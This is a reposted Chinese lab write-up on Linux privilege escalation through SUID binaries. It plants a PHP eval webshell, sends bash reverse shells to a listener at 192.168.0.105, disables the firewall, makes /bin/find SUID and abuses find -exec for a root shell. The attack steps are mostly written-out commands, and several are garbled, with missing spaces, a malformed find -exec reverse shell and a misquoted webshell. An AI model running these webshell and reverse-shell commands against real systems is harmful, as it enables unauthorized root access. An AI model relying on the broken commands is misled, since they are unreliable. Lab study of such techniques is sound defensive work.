0


Linux利用Suid提权实验

一、实验原理


1.Suid

suid:linux系统文件中除了读(r),写(w),执行(x)权限外,还有s和t这两个特殊的权限。 当s这个标志出现在文件所有者的x权限上时,此时就被称为SetUid(简称SUID)则当文件被执行时,该文件是以文件所有者UID而不是用户UID 执行程序。

2.查找Suid命令

find / -perm -u=s -type f 2>/dev/null

find / -perm -g=s -type f 2>/dev/null

3.实验原理

普通用户在执行特殊的Suid命令的时候(如:find、vim、less、more等),命令会自动申请管理员权限,并以管理员的权限去执行命令,当用户在这种拥有可以再执行命令的命令下(如:vim)执行特殊命令(如:!\bin\bash),就会出现拥有当前申请到的管理员权限的命令终端,从而提权成功。

注:本实验是手动将find命令设置为Suid命令

chmod4755 /bin/find

二、实验流程


1.准备一个linux服务器,搭建web,部署一个php文件当中写一句话木马
<?phpeval($_POST["X"])?>

//一句话木马

  1. 部署Web

  1. 写入一句话木马

  1. 开启服务

  1. 查看服务是否正常开启

  1. 在蚁剑上线,通过获取webshell的方式将权限通过反弹shell移交给自己的另一台服务器

3.再通过一次反弹shell移交给自己的服务器上

bash-i >& /dev/tcp/192.168.0.105/2323 0>&1//反弹shell命令

  1. 在另一台服务器上设置监听端口

  1. 反弹shell给此服务器上

3)出现报错

多次进行监听和反弹shell,蚁剑报错,服务器也无法接收反弹的shell

排查一:监听端口监听地址是否正确(无误)
排查二:防火墙是否关闭(已关闭)

ufw disable

排查三:查看/bin/sh指向(错误)

ls-al /bin/sh //查看/bin/sh指向

指向的dash,而蚁剑的反弹shell命令输入的是bash

解决方案:修改sh指向

ln-s-fbash /bin/sh

执行反弹shell命令,成功

在服务器上执行whoami

当前是一个普通用户权限

查找Suid命令

4.查看权限

执行find命令,查看是否获取管理员命令

find 当前目录下的文件 -exec whoami ;

此命令并非每次都能成功,需要多次尝试,或者在当前服务器下再进行一次反弹shell的操作,命令如下:

find 当前目录下的文件 -execbash-i >& /dev/tcp/192.168.0.105/8529 0>&1

三、实验结果


成功获取root权限,本次实验提权成功。

四、实验总结


本次实验通过一句话木马<?php eval(&_post["A"])?>,使目标在中国蚁剑上线,再通过反弹shell命令 bash -i >& /dev/tcp/监听地址/监听端口 0>&1,将权限返回到服务器上,再执行find / -perm -u=s -type f 2>/dev/null命令,查看目标是否具有能够进行命令执行的Suid命令,发现存在,执行find 当前目录文件名 -exec whoami ; 查看权限是否提升为root用户,可进行再次反弹shell,进行权限提升。

注意一:反弹shell命令时,要注意目标是dash,还是bash或者其他

ls-al /bin/sh //查看命令

ln-s-fbash /bin/sh //修改成bash

注意二:在实验中要关闭防火墙,否则可能无法接收到监听信息

注意三:进行本实验前,要将find命令加入Suid命令中

chmod4755 /bin/find

注意四:find -exec命令并非每次都能成功,需要多次尝试,或者在当前服务器下再进行一次反弹shell的操作,命令如下:

find 当前目录下的文件 -execbash-i >& /dev/tcp/192.168.0.105/8529 0>&1


本文转载自: https://blog.csdn.net/qq_45813384/article/details/129117605
版权归原作者 谦谦子牧 所有, 如有侵权,请联系我们删除。

“Linux利用Suid提权实验”的评论:

还没有评论